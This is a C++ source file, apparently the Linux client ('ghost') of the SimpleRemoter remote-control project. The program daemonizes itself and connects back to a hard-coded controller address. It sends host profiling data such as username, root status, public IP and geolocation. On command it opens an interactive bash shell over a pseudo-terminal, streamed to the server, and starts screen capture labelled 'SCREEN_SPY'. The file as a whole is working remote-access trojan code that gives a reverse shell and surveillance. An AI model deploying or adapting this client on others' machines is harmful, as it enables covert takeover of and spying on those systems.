mirror of
https://github.com/yuanyuanxiang/SimpleRemoter.git
synced 2026-02-17 20:03:33 +08:00
757 lines
24 KiB
C++
757 lines
24 KiB
C++
#include "common/commands.h"
|
||
#include "client/IOCPClient.h"
|
||
#include <unistd.h>
|
||
#include <sys/utsname.h>
|
||
#include <sys/sysinfo.h>
|
||
#include <sys/stat.h>
|
||
#include <pwd.h>
|
||
#include <string.h>
|
||
#include <termios.h>
|
||
#include <thread>
|
||
#include <fcntl.h>
|
||
#include <atomic>
|
||
#include <cerrno>
|
||
#include <csignal>
|
||
#include <sys/wait.h>
|
||
#include <pty.h>
|
||
#include <iostream>
|
||
#include <stdexcept>
|
||
#include <cstdio>
|
||
#include <memory>
|
||
#include <array>
|
||
#include <regex>
|
||
#include <fstream>
|
||
#include <map>
|
||
#include "ScreenHandler.h"
|
||
#include "common/logger.h"
|
||
|
||
int DataProcess(void* user, PBYTE szBuffer, ULONG ulLength);
|
||
|
||
// ============== 轻量 INI 配置文件读写（Linux 替代 Windows iniFile）==============
|
||
// 配置文件路径: ~/.config/ghost/config.ini
|
||
// 格式: key=value（按行存储，不分 section，足够简单场景使用）
|
||
class LinuxConfig
|
||
{
|
||
public:
|
||
LinuxConfig()
|
||
{
|
||
// 确定配置目录
|
||
const char* xdg = getenv("XDG_CONFIG_HOME");
|
||
if (xdg && xdg[0]) {
|
||
m_dir = std::string(xdg) + "/ghost";
|
||
} else {
|
||
const char* home = getenv("HOME");
|
||
if (!home) home = "/tmp";
|
||
m_dir = std::string(home) + "/.config/ghost";
|
||
}
|
||
m_path = m_dir + "/config.ini";
|
||
Load();
|
||
}
|
||
|
||
std::string GetStr(const std::string& key, const std::string& def = "") const
|
||
{
|
||
auto it = m_data.find(key);
|
||
return it != m_data.end() ? it->second : def;
|
||
}
|
||
|
||
void SetStr(const std::string& key, const std::string& value)
|
||
{
|
||
m_data[key] = value;
|
||
Save();
|
||
}
|
||
|
||
int GetInt(const std::string& key, int def = 0) const
|
||
{
|
||
auto it = m_data.find(key);
|
||
if (it != m_data.end()) {
|
||
try { return std::stoi(it->second); } catch (...) {}
|
||
}
|
||
return def;
|
||
}
|
||
|
||
void SetInt(const std::string& key, int value)
|
||
{
|
||
m_data[key] = std::to_string(value);
|
||
Save();
|
||
}
|
||
|
||
private:
|
||
std::string m_dir;
|
||
std::string m_path;
|
||
std::map<std::string, std::string> m_data;
|
||
|
||
void Load()
|
||
{
|
||
std::ifstream f(m_path);
|
||
std::string line;
|
||
while (std::getline(f, line)) {
|
||
size_t eq = line.find('=');
|
||
if (eq != std::string::npos) {
|
||
std::string k = line.substr(0, eq);
|
||
std::string v = line.substr(eq + 1);
|
||
m_data[k] = v;
|
||
}
|
||
}
|
||
}
|
||
|
||
void Save()
|
||
{
|
||
// 创建目录（mkdir -p 效果）
|
||
mkdir(m_dir.c_str(), 0755);
|
||
std::ofstream f(m_path, std::ios::trunc);
|
||
for (auto& kv : m_data) {
|
||
f << kv.first << "=" << kv.second << "\n";
|
||
}
|
||
}
|
||
};
|
||
|
||
// 远程地址：当前为写死状态，如需调试，请按实际情况修改
|
||
CONNECT_ADDRESS g_SETTINGS = { FLAG_GHOST, "192.168.0.55", "6543", CLIENT_TYPE_LINUX };
|
||
|
||
// 全局状态
|
||
State g_bExit = S_CLIENT_NORMAL;
|
||
|
||
// 伪终端处理类：继承自IOCPManager.
|
||
class PTYHandler : public IOCPManager
|
||
{
|
||
public:
|
||
PTYHandler(IOCPClient* client) : m_client(client), m_running(false)
|
||
{
|
||
if (!client) {
|
||
throw std::invalid_argument("IOCPClient pointer cannot be null");
|
||
}
|
||
|
||
// 创建伪终端
|
||
if (openpty(&m_master_fd, &m_slave_fd, nullptr, nullptr, nullptr) == -1) {
|
||
throw std::runtime_error("Failed to create pseudo terminal");
|
||
}
|
||
|
||
// 设置伪终端为非阻塞模式
|
||
int flags = fcntl(m_master_fd, F_GETFL, 0);
|
||
fcntl(m_master_fd, F_SETFL, flags | O_NONBLOCK);
|
||
|
||
// 启动 Shell 进程
|
||
startShell();
|
||
}
|
||
|
||
~PTYHandler()
|
||
{
|
||
m_running = false;
|
||
if (m_readThread.joinable()) m_readThread.join();
|
||
close(m_master_fd);
|
||
close(m_slave_fd);
|
||
if (m_child_pid > 0) {
|
||
kill(m_child_pid, SIGTERM);
|
||
waitpid(m_child_pid, nullptr, 0);
|
||
}
|
||
}
|
||
|
||
// 启动读取线程
|
||
void Start()
|
||
{
|
||
bool expected = false;
|
||
if (!m_running.compare_exchange_strong(expected, true)) return;
|
||
m_readThread = std::thread(&PTYHandler::readFromPTY, this);
|
||
}
|
||
|
||
virtual VOID OnReceive(PBYTE data, ULONG size)
|
||
{
|
||
if (size && data[0] == COMMAND_NEXT) {
|
||
Start();
|
||
return;
|
||
}
|
||
std::string s((char*)data, size);
|
||
Mprintf("%s", s.c_str());
|
||
if (size > 0) {
|
||
ssize_t total = 0;
|
||
while (total < (ssize_t)size) {
|
||
ssize_t written = write(m_master_fd, (char*)data + total, size - total);
|
||
if (written == -1) {
|
||
if (errno == EAGAIN || errno == EINTR) continue;
|
||
Mprintf("OnReceive: write error %d\n", errno);
|
||
break;
|
||
}
|
||
total += written;
|
||
}
|
||
}
|
||
}
|
||
private:
|
||
int m_master_fd, m_slave_fd;
|
||
IOCPClient* m_client;
|
||
std::thread m_readThread;
|
||
std::atomic<bool> m_running;
|
||
pid_t m_child_pid;
|
||
|
||
void startShell()
|
||
{
|
||
m_child_pid = fork();
|
||
if (m_child_pid == -1) {
|
||
close(m_master_fd);
|
||
close(m_slave_fd);
|
||
throw std::runtime_error("Failed to fork shell process");
|
||
}
|
||
if (m_child_pid == 0) { // 子进程
|
||
setsid(); // 创建新的会话
|
||
dup2(m_slave_fd, STDIN_FILENO);
|
||
dup2(m_slave_fd, STDOUT_FILENO);
|
||
dup2(m_slave_fd, STDERR_FILENO);
|
||
close(m_master_fd);
|
||
close(m_slave_fd);
|
||
|
||
// 关闭回显、禁用 ANSI 颜色、关闭 PS1
|
||
const char* shell_cmd =
|
||
"stty -echo -icanon; " // 禁用回显和规范模式
|
||
"export TERM=dumb; " // 设置终端类型为 dumb
|
||
"export LS_COLORS=''; " // 禁用颜色
|
||
"export PS1='>'; " // 设置提示符
|
||
//"clear; " // 清空终端
|
||
"exec /bin/bash --norc --noprofile -i"; // 启动 Bash
|
||
execl("/bin/bash", "/bin/bash", "-c", shell_cmd, nullptr);
|
||
exit(1);
|
||
}
|
||
}
|
||
|
||
void readFromPTY()
|
||
{
|
||
char buffer[4096];
|
||
while (m_running) {
|
||
ssize_t bytes_read = read(m_master_fd, buffer, sizeof(buffer) - 1);
|
||
if (bytes_read > 0) {
|
||
if (m_client) {
|
||
buffer[bytes_read] = '\0';
|
||
Mprintf("%s", buffer);
|
||
m_client->Send2Server(buffer, bytes_read);
|
||
}
|
||
}
|
||
else if (bytes_read == -1) {
|
||
if (errno == EAGAIN || errno == EWOULDBLOCK) {
|
||
usleep(10000);
|
||
} else {
|
||
Mprintf("readFromPTY: read error %d\n", errno);
|
||
break;
|
||
}
|
||
}
|
||
}
|
||
}
|
||
};
|
||
|
||
void* ShellworkingThread(void* param)
|
||
{
|
||
try {
|
||
std::unique_ptr<IOCPClient> ClientObject(new IOCPClient(g_bExit, true));
|
||
void* clientAddr = ClientObject.get();
|
||
Mprintf(">>> Enter ShellworkingThread [%p]\n", clientAddr);
|
||
if (!g_bExit && ClientObject->ConnectServer(g_SETTINGS.ServerIP(), g_SETTINGS.ServerPort())) {
|
||
std::unique_ptr<PTYHandler> handler(new PTYHandler(ClientObject.get()));
|
||
ClientObject->setManagerCallBack(handler.get(), IOCPManager::DataProcess, IOCPManager::ReconnectProcess);
|
||
BYTE bToken = TOKEN_SHELL_START;
|
||
ClientObject->Send2Server((char*)&bToken, 1);
|
||
Mprintf(">>> ShellworkingThread [%p] Send: TOKEN_SHELL_START\n", clientAddr);
|
||
while (ClientObject->IsRunning() && ClientObject->IsConnected() && S_CLIENT_NORMAL == g_bExit)
|
||
Sleep(1000);
|
||
}
|
||
Mprintf(">>> Leave ShellworkingThread [%p]\n", clientAddr);
|
||
} catch (const std::exception& e) {
|
||
Mprintf("*** ShellworkingThread exception: %s ***\n", e.what());
|
||
}
|
||
return NULL;
|
||
}
|
||
|
||
void* ScreenworkingThread(void* param)
|
||
{
|
||
try {
|
||
std::unique_ptr<IOCPClient> ClientObject(new IOCPClient(g_bExit, true));
|
||
void* clientAddr = ClientObject.get();
|
||
Mprintf(">>> Enter ScreenworkingThread [%p]\n", clientAddr);
|
||
if (!g_bExit && ClientObject->ConnectServer(g_SETTINGS.ServerIP(), g_SETTINGS.ServerPort())) {
|
||
std::unique_ptr<ScreenHandler> handler(new ScreenHandler(ClientObject.get()));
|
||
ClientObject->setManagerCallBack(handler.get(), IOCPManager::DataProcess, IOCPManager::ReconnectProcess);
|
||
// 连接后立即发送完整的 BITMAPINFO 包（与 Windows 端 ScreenManager 流程一致）
|
||
handler->SendBitmapInfo();
|
||
Mprintf(">>> ScreenworkingThread [%p] Send: TOKEN_BITMAPINFO\n", clientAddr);
|
||
while (ClientObject->IsRunning() && ClientObject->IsConnected() && S_CLIENT_NORMAL == g_bExit)
|
||
Sleep(1000);
|
||
}
|
||
Mprintf(">>> Leave ScreenworkingThread [%p]\n", clientAddr);
|
||
} catch (const std::exception& e) {
|
||
Mprintf("*** ScreenworkingThread exception: %s ***\n", e.what());
|
||
}
|
||
return NULL;
|
||
}
|
||
|
||
int DataProcess(void* user, PBYTE szBuffer, ULONG ulLength)
|
||
{
|
||
if (szBuffer == nullptr || ulLength == 0)
|
||
return TRUE;
|
||
|
||
if (szBuffer[0] == COMMAND_BYE) {
|
||
Mprintf("*** [%p] Received Bye-Bye command ***\n", user);
|
||
g_bExit = S_CLIENT_EXIT;
|
||
}
|
||
else if (szBuffer[0] == COMMAND_SHELL) {
|
||
std::thread(ShellworkingThread, nullptr).detach();
|
||
Mprintf("** [%p] Received 'SHELL' command ***\n", user);
|
||
}
|
||
else if (szBuffer[0] == COMMAND_SCREEN_SPY) {
|
||
std::thread(ScreenworkingThread, nullptr).detach();
|
||
Mprintf("** [%p] Received 'SCREEN_SPY' command ***\n", user);
|
||
}
|
||
else if (szBuffer[0] == COMMAND_NEXT) {
|
||
Mprintf("** [%p] Received 'NEXT' command ***\n", user);
|
||
}
|
||
else {
|
||
Mprintf("** [%p] Received unimplemented command: %d ***\n", user, int(szBuffer[0]));
|
||
}
|
||
return TRUE;
|
||
}
|
||
|
||
// 方法1: 解析 lscpu 命令（优先使用）
|
||
double parse_lscpu()
|
||
{
|
||
std::array<char, 128> buffer;
|
||
std::string result;
|
||
std::unique_ptr<FILE, decltype(&pclose)> pipe(popen("lscpu", "r"), pclose);
|
||
if (!pipe) return -1.0;
|
||
|
||
while (fgets(buffer.data(), buffer.size(), pipe.get())) {
|
||
result += buffer.data();
|
||
}
|
||
|
||
// 匹配 "Model name" 中的频率（如 "Intel(R) Core(TM) i5-6300HQ CPU @ 2.30GHz"）
|
||
std::regex model_regex("@ ([0-9.]+)GHz");
|
||
std::smatch match;
|
||
if (std::regex_search(result, match, model_regex) && match.size() > 1) {
|
||
try {
|
||
return std::stod(match[1].str()) * 1000; // GHz -> MHz
|
||
} catch (...) {}
|
||
}
|
||
return -1;
|
||
}
|
||
|
||
// 方法2: 解析 /proc/cpuinfo（备用）
|
||
double parse_cpuinfo()
|
||
{
|
||
std::ifstream cpuinfo("/proc/cpuinfo");
|
||
std::string line;
|
||
std::regex freq_regex("@ ([0-9.]+)GHz");
|
||
|
||
while (std::getline(cpuinfo, line)) {
|
||
if (line.find("model name") != std::string::npos) {
|
||
std::smatch match;
|
||
if (std::regex_search(line, match, freq_regex) && match.size() > 1) {
|
||
try {
|
||
return std::stod(match[1].str()) * 1000; // GHz -> MHz
|
||
} catch (...) {}
|
||
}
|
||
}
|
||
}
|
||
return -1;
|
||
}
|
||
|
||
// ============== 系统信息采集函数（用于填充 LOGIN_INFOR） ==============
|
||
|
||
// 获取 Linux 发行版名称（如 "Ubuntu 24.04 LTS"）
|
||
std::string getLinuxDistro()
|
||
{
|
||
std::ifstream f("/etc/os-release");
|
||
std::string line;
|
||
while (std::getline(f, line)) {
|
||
if (line.compare(0, 13, "PRETTY_NAME=\"") == 0) {
|
||
// PRETTY_NAME="Ubuntu 24.04.1 LTS"
|
||
std::string name = line.substr(13);
|
||
if (!name.empty() && name.back() == '"')
|
||
name.pop_back();
|
||
return name;
|
||
}
|
||
}
|
||
// 回退：使用 uname
|
||
struct utsname u = {};
|
||
if (uname(&u) == 0) {
|
||
return std::string(u.sysname) + " " + u.release;
|
||
}
|
||
return "Linux";
|
||
}
|
||
|
||
// 获取 CPU 核心数
|
||
int getCPUCores()
|
||
{
|
||
long n = sysconf(_SC_NPROCESSORS_ONLN);
|
||
return n > 0 ? (int)n : 1;
|
||
}
|
||
|
||
// 获取系统内存（GB）
|
||
double getMemorySizeGB()
|
||
{
|
||
struct sysinfo si = {};
|
||
if (sysinfo(&si) == 0) {
|
||
return si.totalram * (double)si.mem_unit / (1024.0 * 1024.0 * 1024.0);
|
||
}
|
||
return 0;
|
||
}
|
||
|
||
// 获取当前可执行文件路径
|
||
std::string getExePath()
|
||
{
|
||
char buf[1024] = {};
|
||
ssize_t len = readlink("/proc/self/exe", buf, sizeof(buf) - 1);
|
||
if (len > 0) {
|
||
buf[len] = '\0';
|
||
return buf;
|
||
}
|
||
return "";
|
||
}
|
||
|
||
// 获取文件大小（格式化为 "1.2M" 或 "123K"）
|
||
std::string getFileSize(const std::string& path)
|
||
{
|
||
struct stat st = {};
|
||
if (stat(path.c_str(), &st) != 0) return "?";
|
||
char buf[32];
|
||
if (st.st_size >= 1024 * 1024) {
|
||
sprintf(buf, "%.1fM", st.st_size / (1024.0 * 1024.0));
|
||
} else if (st.st_size >= 1024) {
|
||
sprintf(buf, "%.1fK", st.st_size / 1024.0);
|
||
} else {
|
||
sprintf(buf, "%ldB", (long)st.st_size);
|
||
}
|
||
return buf;
|
||
}
|
||
|
||
// 获取当前用户名
|
||
std::string getUsername()
|
||
{
|
||
struct passwd* pw = getpwuid(getuid());
|
||
if (pw && pw->pw_name) return pw->pw_name;
|
||
const char* u = getenv("USER");
|
||
return u ? u : "?";
|
||
}
|
||
|
||
// 获取屏幕分辨率字符串（格式 "显示器数:宽*高"）
|
||
std::string getScreenResolution()
|
||
{
|
||
// 尝试通过 xrandr 获取
|
||
std::unique_ptr<FILE, decltype(&pclose)> pipe(popen("xrandr --current 2>/dev/null", "r"), pclose);
|
||
if (pipe) {
|
||
char line[256];
|
||
// 匹配 "connected ... 1920x1080" 之类的行
|
||
int monitors = 0;
|
||
int maxW = 0, maxH = 0;
|
||
std::regex res_regex("\\s+(\\d+)x(\\d+)\\+");
|
||
while (fgets(line, sizeof(line), pipe.get())) {
|
||
std::string s(line);
|
||
if (s.find(" connected") != std::string::npos) {
|
||
monitors++;
|
||
std::smatch m;
|
||
if (std::regex_search(s, m, res_regex) && m.size() > 2) {
|
||
int w = std::stoi(m[1].str());
|
||
int h = std::stoi(m[2].str());
|
||
if (w > maxW) maxW = w;
|
||
if (h > maxH) maxH = h;
|
||
}
|
||
}
|
||
}
|
||
if (monitors > 0 && maxW > 0) {
|
||
char buf[64];
|
||
sprintf(buf, "%d:%d*%d", monitors, maxW, maxH);
|
||
return buf;
|
||
}
|
||
}
|
||
return "0:0*0";
|
||
}
|
||
|
||
// 执行命令并返回输出
|
||
static std::string execCmd(const std::string& cmd)
|
||
{
|
||
std::unique_ptr<FILE, decltype(&pclose)> pipe(popen(cmd.c_str(), "r"), pclose);
|
||
if (!pipe) return "";
|
||
char buf[4096];
|
||
std::string result;
|
||
while (fgets(buf, sizeof(buf), pipe.get())) {
|
||
result += buf;
|
||
}
|
||
// 去除尾部空白
|
||
while (!result.empty() && (result.back() == '\n' || result.back() == '\r' || result.back() == ' '))
|
||
result.pop_back();
|
||
return result;
|
||
}
|
||
|
||
// HTTP GET 请求（优先 curl，备选 wget）
|
||
static std::string httpGet(const std::string& url, int timeoutSec = 5)
|
||
{
|
||
std::string t = std::to_string(timeoutSec);
|
||
// 优先使用 curl
|
||
std::string r = execCmd("curl -s --max-time " + t + " \"" + url + "\" 2>/dev/null");
|
||
if (!r.empty()) return r;
|
||
// 备选 wget（Ubuntu 默认自带）
|
||
r = execCmd("wget -qO- --timeout=" + t + " \"" + url + "\" 2>/dev/null");
|
||
return r;
|
||
}
|
||
|
||
// 获取公网 IP（轮询多个查询源，与 Windows 端一致）
|
||
std::string getPublicIP()
|
||
{
|
||
static const char* urls[] = {
|
||
"https://checkip.amazonaws.com",
|
||
"https://api.ipify.org",
|
||
"https://ipinfo.io/ip",
|
||
"https://icanhazip.com",
|
||
"https://ifconfig.me/ip",
|
||
};
|
||
for (auto& url : urls) {
|
||
std::string ip = httpGet(url, 3);
|
||
// 简单校验：非空且看起来像 IP（含有点号，长度合理）
|
||
if (!ip.empty() && ip.find('.') != std::string::npos && ip.size() <= 45) {
|
||
Mprintf("getPublicIP: %s (from %s)\n", ip.c_str(), url);
|
||
return ip;
|
||
}
|
||
}
|
||
Mprintf("getPublicIP: all sources failed\n");
|
||
return "";
|
||
}
|
||
|
||
// 从 JSON 字符串中提取指定 key 的值（简易解析，不依赖 jsoncpp）
|
||
// 支持格式: "key": "value" 或 "key":"value"
|
||
static std::string jsonExtract(const std::string& json, const std::string& key)
|
||
{
|
||
std::string needle = "\"" + key + "\"";
|
||
size_t pos = json.find(needle);
|
||
if (pos == std::string::npos) return "";
|
||
pos = json.find(':', pos + needle.size());
|
||
if (pos == std::string::npos) return "";
|
||
pos = json.find('"', pos + 1);
|
||
if (pos == std::string::npos) return "";
|
||
size_t end = json.find('"', pos + 1);
|
||
if (end == std::string::npos) return "";
|
||
return json.substr(pos + 1, end - pos - 1);
|
||
}
|
||
|
||
// 获取 IP 地理位置（通过 ipinfo.io，与 Windows 端一致）
|
||
std::string getGeoLocation(const std::string& ip)
|
||
{
|
||
if (ip.empty()) return "";
|
||
std::string json = httpGet("https://ipinfo.io/" + ip + "/json", 5);
|
||
if (json.empty()) return "";
|
||
|
||
std::string country = jsonExtract(json, "country");
|
||
std::string city = jsonExtract(json, "city");
|
||
|
||
if (city.empty() && country.empty()) return "";
|
||
if (city.empty()) return country;
|
||
if (country.empty()) return city;
|
||
return city + ", " + country;
|
||
}
|
||
|
||
// ============== 守护进程 ==============
|
||
|
||
// PID 文件路径（与配置文件同目录）
|
||
static std::string getPidFilePath()
|
||
{
|
||
const char* xdg = getenv("XDG_CONFIG_HOME");
|
||
std::string dir;
|
||
if (xdg && xdg[0]) {
|
||
dir = std::string(xdg) + "/ghost";
|
||
} else {
|
||
const char* home = getenv("HOME");
|
||
if (!home) home = "/tmp";
|
||
dir = std::string(home) + "/.config/ghost";
|
||
}
|
||
mkdir(dir.c_str(), 0755);
|
||
return dir + "/ghost.pid";
|
||
}
|
||
|
||
static void writePidFile()
|
||
{
|
||
std::string path = getPidFilePath();
|
||
std::ofstream f(path, std::ios::trunc);
|
||
f << getpid() << std::endl;
|
||
}
|
||
|
||
static void removePidFile()
|
||
{
|
||
unlink(getPidFilePath().c_str());
|
||
}
|
||
|
||
// 检查是否已有实例在运行
|
||
static bool isAlreadyRunning()
|
||
{
|
||
std::ifstream f(getPidFilePath());
|
||
int pid = 0;
|
||
if (f >> pid && pid > 0) {
|
||
// kill(pid, 0) 不发信号，仅检查进程是否存在
|
||
if (kill(pid, 0) == 0) return true;
|
||
}
|
||
return false;
|
||
}
|
||
|
||
// 经典 Unix 双 fork 守护进程
|
||
static void daemonize()
|
||
{
|
||
pid_t pid = fork();
|
||
if (pid < 0) exit(1);
|
||
if (pid > 0) exit(0); // 父进程退出
|
||
|
||
setsid(); // 新会话，脱离终端
|
||
|
||
pid = fork(); // 第二次 fork，防止重新获取控制终端
|
||
if (pid < 0) exit(1);
|
||
if (pid > 0) exit(0);
|
||
|
||
// 关闭标准文件描述符，重定向到 /dev/null
|
||
close(STDIN_FILENO);
|
||
close(STDOUT_FILENO);
|
||
close(STDERR_FILENO);
|
||
open("/dev/null", O_RDONLY); // fd 0 = stdin
|
||
open("/dev/null", O_WRONLY); // fd 1 = stdout
|
||
open("/dev/null", O_WRONLY); // fd 2 = stderr
|
||
}
|
||
|
||
// 信号处理：收到 SIGTERM/SIGINT 时优雅退出
|
||
static void signalHandler(int sig)
|
||
{
|
||
g_bExit = S_CLIENT_EXIT;
|
||
}
|
||
|
||
static void setupSignals()
|
||
{
|
||
signal(SIGTERM, signalHandler); // kill 默认信号
|
||
signal(SIGINT, signalHandler); // Ctrl+C
|
||
signal(SIGHUP, SIG_IGN); // 终端断开时忽略
|
||
signal(SIGPIPE, SIG_IGN); // 写入已关闭的 socket 时忽略
|
||
}
|
||
|
||
// 用法: ./ghost [-d] [IP] [端口]
|
||
// -d 后台守护进程模式
|
||
// 示例: ./ghost -d 192.168.1.100 6543
|
||
int main(int argc, char* argv[])
|
||
{
|
||
// 解析 -d 参数
|
||
bool daemon_mode = false;
|
||
int argStart = 1;
|
||
if (argc > 1 && strcmp(argv[1], "-d") == 0) {
|
||
daemon_mode = true;
|
||
argStart = 2;
|
||
}
|
||
|
||
if (argStart + 1 < argc) {
|
||
g_SETTINGS.SetServer(argv[argStart], atoi(argv[argStart + 1]));
|
||
} else if (argStart < argc) {
|
||
g_SETTINGS.SetServer(argv[argStart], g_SETTINGS.ServerPort());
|
||
}
|
||
|
||
// 守护进程化（必须在 getpid() 等调用之前）
|
||
if (daemon_mode) {
|
||
if (isAlreadyRunning()) {
|
||
fprintf(stderr, "ghost is already running.\n");
|
||
return 1;
|
||
}
|
||
daemonize();
|
||
}
|
||
|
||
// 信号处理
|
||
setupSignals();
|
||
|
||
// 写 PID 文件（守护进程模式下 PID 已变为子进程的）
|
||
writePidFile();
|
||
|
||
Mprintf("Server: %s:%d (PID: %d%s)\n",
|
||
g_SETTINGS.ServerIP(), g_SETTINGS.ServerPort(),
|
||
getpid(), daemon_mode ? ", daemon" : "");
|
||
|
||
char hostname[256] = {};
|
||
gethostname(hostname, sizeof(hostname));
|
||
|
||
LOGIN_INFOR logInfo;
|
||
|
||
// 主机名
|
||
strncpy(logInfo.szPCName, hostname, sizeof(logInfo.szPCName) - 1);
|
||
logInfo.szPCName[sizeof(logInfo.szPCName) - 1] = '\0';
|
||
|
||
// 操作系统版本（如 "Ubuntu 24.04 LTS"）
|
||
std::string distro = getLinuxDistro();
|
||
strncpy(logInfo.OsVerInfoEx, distro.c_str(), sizeof(logInfo.OsVerInfoEx) - 1);
|
||
logInfo.OsVerInfoEx[sizeof(logInfo.OsVerInfoEx) - 1] = '\0';
|
||
|
||
// 启动时间
|
||
strncpy(logInfo.szStartTime, ToPekingTimeAsString(nullptr).c_str(), sizeof(logInfo.szStartTime) - 1);
|
||
logInfo.szStartTime[sizeof(logInfo.szStartTime) - 1] = '\0';
|
||
|
||
// CPU 主频
|
||
double freq = parse_lscpu();
|
||
if (freq < 0) freq = parse_cpuinfo();
|
||
logInfo.dwCPUMHz = freq > 0 ? static_cast<unsigned int>(freq) : 0;
|
||
|
||
// 摄像头
|
||
logInfo.bWebCamIsExist = 0;
|
||
|
||
// 可执行文件路径
|
||
std::string exePath = getExePath();
|
||
|
||
// 读取配置文件（~/.config/ghost/config.ini）
|
||
LinuxConfig cfg;
|
||
|
||
// 安装时间：首次运行写入，后续从配置文件读取
|
||
std::string installTime = cfg.GetStr("install_time");
|
||
if (installTime.empty()) {
|
||
installTime = ToPekingTimeAsString(nullptr);
|
||
cfg.SetStr("install_time", installTime);
|
||
Mprintf("First run, install_time saved: %s\n", installTime.c_str());
|
||
}
|
||
|
||
// 公网 IP 和地理位置：缓存到配置文件，7 天过期后重新查询
|
||
std::string pubIP = cfg.GetStr("public_ip");
|
||
std::string location = cfg.GetStr("location");
|
||
int ipTime = cfg.GetInt("ip_time");
|
||
bool ipExpired = ipTime <= 0 || (time(nullptr) - ipTime > 7 * 86400);
|
||
if (pubIP.empty() || location.empty() || ipExpired) {
|
||
pubIP = getPublicIP();
|
||
if (!pubIP.empty()) {
|
||
location = getGeoLocation(pubIP);
|
||
cfg.SetStr("public_ip", pubIP);
|
||
cfg.SetStr("location", location);
|
||
cfg.SetInt("ip_time", (int)time(nullptr));
|
||
Mprintf("IP/Location updated: %s / %s\n", pubIP.c_str(), location.c_str());
|
||
}
|
||
}
|
||
|
||
// ============== 填充 szReserved（19 个字段，与服务端 LOGIN_RES 枚举一一对应）==============
|
||
logInfo.AddReserved("LNX"); // [0] RES_CLIENT_TYPE
|
||
logInfo.AddReserved(sizeof(void*) == 4 ? 32 : 64); // [1] RES_SYSTEM_BITS
|
||
logInfo.AddReserved(getCPUCores()); // [2] RES_SYSTEM_CPU
|
||
logInfo.AddReserved(getMemorySizeGB()); // [3] RES_SYSTEM_MEM
|
||
logInfo.AddReserved(exePath.c_str()); // [4] RES_FILE_PATH
|
||
logInfo.AddReserved("?"); // [5] RES_RESVERD
|
||
logInfo.AddReserved(installTime.c_str()); // [6] RES_INSTALL_TIME
|
||
logInfo.AddReserved("?"); // [7] RES_INSTALL_INFO
|
||
logInfo.AddReserved(sizeof(void*) == 4 ? 32 : 64); // [8] RES_PROGRAM_BITS
|
||
logInfo.AddReserved(""); // [9] RES_EXPIRED_DATE
|
||
logInfo.AddReserved(location.c_str()); // [10] RES_CLIENT_LOC
|
||
logInfo.AddReserved(pubIP.c_str()); // [11] RES_CLIENT_PUBIP
|
||
logInfo.AddReserved("v1.0.0"); // [12] RES_EXE_VERSION
|
||
logInfo.AddReserved(getUsername().c_str()); // [13] RES_USERNAME
|
||
logInfo.AddReserved(getuid() == 0 ? 1 : 0); // [14] RES_ISADMIN
|
||
logInfo.AddReserved(getScreenResolution().c_str()); // [15] RES_RESOLUTION
|
||
logInfo.AddReserved(""); // [16] RES_CLIENT_ID（服务端自动计算）
|
||
logInfo.AddReserved((int)getpid()); // [17] RES_PID
|
||
logInfo.AddReserved(getFileSize(exePath).c_str()); // [18] RES_FILESIZE
|
||
|
||
std::unique_ptr<IOCPClient> ClientObject(new IOCPClient(g_bExit, false));
|
||
ClientObject->setManagerCallBack(NULL, DataProcess, NULL);
|
||
while (!g_bExit) {
|
||
clock_t c = clock();
|
||
if (!ClientObject->ConnectServer(g_SETTINGS.ServerIP(), g_SETTINGS.ServerPort())) {
|
||
Sleep(5000);
|
||
continue;
|
||
}
|
||
|
||
ClientObject->SendLoginInfo(logInfo.Speed(clock() - c));
|
||
|
||
do {
|
||
Sleep(5000);
|
||
} while (ClientObject->IsRunning() && ClientObject->IsConnected() && S_CLIENT_NORMAL == g_bExit);
|
||
}
|
||
|
||
Logger::getInstance().stop();
|
||
removePidFile();
|
||
return 0;
|
||
}
|